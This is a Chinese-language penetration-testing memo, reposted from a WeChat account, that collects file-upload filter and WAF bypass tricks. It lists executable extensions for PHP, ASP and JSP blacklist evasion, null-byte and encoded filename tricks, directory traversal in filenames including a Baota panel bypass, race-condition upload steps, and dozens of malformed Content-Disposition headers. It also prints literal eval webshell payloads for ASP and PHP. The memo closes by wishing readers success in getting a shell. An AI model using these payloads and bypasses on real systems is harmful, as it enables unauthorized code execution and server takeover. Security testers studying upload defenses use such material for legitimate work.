【备忘录】文件上传绕过小技巧总结

admin 2024年7月20日23:15:24评论14 views字数 4942阅读16分28秒阅读模式

免责声明

由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

【备忘录】文件上传绕过小技巧总结

欢迎关注本公众号,长期推送技术文章

前言

很长一段时间没有更新文章了,总结一下自己在遇到文件上传时遇到的问题,以及可以尝试的方法

部分手法参考各位师傅,在这一并做一个总结,谢谢各位师傅分享。

写的有点乱,各位师傅见谅~~~

服务端的检测与绕过方法

  1. 浏览器检测,直接关闭浏览器JavaScript检查、或者上传正常文件抓包即可。

  2. 后端服务器校验

后缀名检测绕过MIME类型检测与绕过文件内容检测与绕过00截断绕过条件竞争检测与绕过

MIME编码

https://mp.weixin.qq.com/s/COLw_Edxst-lZsi8MhL6kA

(注意,这里说的MIME编码可不是将Content-Type修改为image/png等类似的方式进行绕过的,这种方式修改的是MIME type。而我们今天所说的是MIME编码。)

Multipurpose Internet Mail Extensions (MIME) ,通常也称为多用途互联网邮件扩展,从字面意思可以看出,它的出现是为了扩展了电子邮件的格式,支持 ASCII 字符集以外二进制数据(例如图像、音频、视频或其他文件)转换为文本数据,以便能够安全地传输和处理。从commons-fileupload库版本 1.3 开始,FileUpload 可以处理 RFC 2047编码的标头值。

取=后的两个两个十六进制数字,并将其转换为ascii码值对应的字符。所以MIME编码的格式为=?charset?encoding?encoded text?=下面是对这个格式的详细解释:=?:编码的起始标记,表示编码的开始。charset:表示字符集,即非ASCII字符所使用的字符编码集。这通常是一个标识字符集的文本字符串,例如UTF-8或ISO-8859-1。encoding:表示编码方式,即用于将字符编码为ASCII字符的具体方法。常见的编码方式包括"Q"和"B"。"Q"表示Quoted-Printable编码,它将非ASCII字符编码为"="后跟两个十六进制数字的形式。"B"表示Base64编码,它将数据编码为一系列ASCII字符。encoded text:是实际编码后的文本,即包含非ASCII字符的原始文本的编码版本。?=:编码的结束标记,表示编码的结束。举例:将shell.jsp通过Quoted-Printable编码方式为=?utf-8?Q?=73=68=65=6c=6c=2e=6a=73=70?=将shell.jsp通过Base64编码方式为=?utf-8?B?c2hlbGwuanNw?=

文件上传常见问题

 文件上传不回显 确认上传成功之后,遍历目录+上传文件名,文件名不变的情况 查看存在的图片地址,优先遍历 以上寻找文件的方法需要的前提:文件名不变,字典路径足够多 1.目录没有执行权限(通过控制文件名进行../../跳目录,跳到可以执行脚本语言的目录) 2.上传文件找不到路径(通过控制文件名进行../../跳目录,层级跳到根目录进行访问) 3.上传白名单截断 (有些文件上传处是白名单,后缀名不可以绕,可以利用控制文件名截断的方式去绕过白名单,例如1.jsp%00.jpg)

截断文件前置名

 利用跳目录 因为文件名可以控制,我们就可以利用../跳目录的方式去截断代码本身给添加的前置名 举例: 上传1.txt,代码会自动添加xxxx_xxxx_20_1.txt 这里的利用思路就是上传配合解析的配置文件,例如上传.htaccess配合解析,当然这里实战应用的场景还有很多,只是提供一个思路 Content-Disposition: form-data; name="url"; filename="///....111.txt"

绕过宝塔限制(看具体情况)

  • 宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制

  • 用.../1.png 可以穿

黑名单绕过:不同脚本语言支持的解析后缀

黑名单简单来说就是目标程序规定了哪些文件不能上传,这里是常用的一些后缀

PHP脚本后缀绕过

 .php .php2 .php3 .php4 .php5 .php6 .php7 .phps .phps .pht .phtm .phtml .pgif .shtml .htaccess .phar .inc .hphp .ctp .module

ASP 脚本后缀绕过

 .asp .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap .vbhtm .vbhtml .asa .cer .shtml

Jsp 脚本后缀绕过

 .jsp .jspx .jsw .jsv .jspf
 Coldfusion.cfm   .cfml   .cfc  .dbm Perl.pl       .cgi 随机大小写变换:.pHp  .pHP5   .PhAr

白名单绕过:针对安全设备检测后缀的形式进行绕过

白名单简单来说就是目标程序规定了能上传的后缀名

这里以php为例,其他的类似

 file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php. file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.phpx00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg

条件竞争

 可以利用上传时候的代码执行的需要一定的时间,加大客户端请求时候的并发,造成文件上传时候条件竞争。 准备好webshell,这个webshell的功能要能写一个大马到webapp根目录下,然后我们访问这个大马。 先开两个intruder,然后请求上传的文件的并发开到100。 访问大马的地址,检查是否创建成功。

文件上传 waf绕过

https://mp.weixin.qq.com/s/BLjfhMNkiTuSiIB9ZKAb2Qhttps://mp.weixin.qq.com/s/FW93imGul0kNxbi2RhXBfA

(1)通过filename换行来绕过检测

 第一种: Content-Disposition: form-data; name="file"; filename="1.p hp" 第二种: Content-Disposition: form-data; name="file"; file name="1.php" 第三种: Content-Disposition: form-data; name="file"; filename= "1.php" 三种均可

使用多个等号绕过检测

Content-Disposition: form-data; name="file"; filename==="a.php"

增大文件大小,类似于sql注入的大量垃圾字符绕waf检测

 Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"

去掉双引号或替换为单引号绕过waf

 第一种: Content-Disposition: form-data; name=file1; filename=a.php 第二种: Content-Disposition: form-data; name='file1'; filename="a.php"

有些只检测第一个firename,可以增加filename干扰拦截

 Content-Disposition: form-data; name="file"; filename= ; filename="a.php"

混淆waf匹配字段 混淆form-data

 Content-Disposition: name="file"; filename="a.php" 去除form-data Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php" 替换form-data为垃圾值 Content-Disposition: form-data   ; name="file"; filename="a.php" form-data后加空格 Content-Disposition: for+m-data; name="file"; filename="a.php" form-data中加+

混淆  ConTent-Disposition

COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php" 大小写混淆 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" 调换Content-Type和ConTent-Disposition的顺序 Content-Type: image/gif Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 AAAAAAAA:filename="aaa.jpg"; Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头 Content-Length: 666 Content-Disposition: form-data; name="file"; filename="a.php" Content-Type: image/gif 增加额外的头

双文件绕过,例如安全狗总以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值接收参数。

容器与WAF对Boundary要求规则不一致

Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99 Content-Length: 253 -----------------------------471****1141173****525****99 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------471****1141173****525****99--

条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

 fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');

上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

结束语

祝大家都能一把梭哈,成功getshell

【备忘录】文件上传绕过小技巧总结

【备忘录】文件上传绕过小技巧总结

【备忘录】文件上传绕过小技巧总结

往期精彩:

渗透测试中针对微信小程序AppSecret秘钥泄露的利用方式
渗透测试小技巧之绕过“请在微信客户端打开链接”
【面试题总结】HW面试,你准备的怎么样啦?
从实战的角度分析渗透测试究竟需要学习了解的知识点

原文始发于微信公众号(渗透云记):【备忘录】文件上传绕过小技巧总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月20日23:15:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【备忘录】文件上传绕过小技巧总结https://cn-sec.com/archives/2979283.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息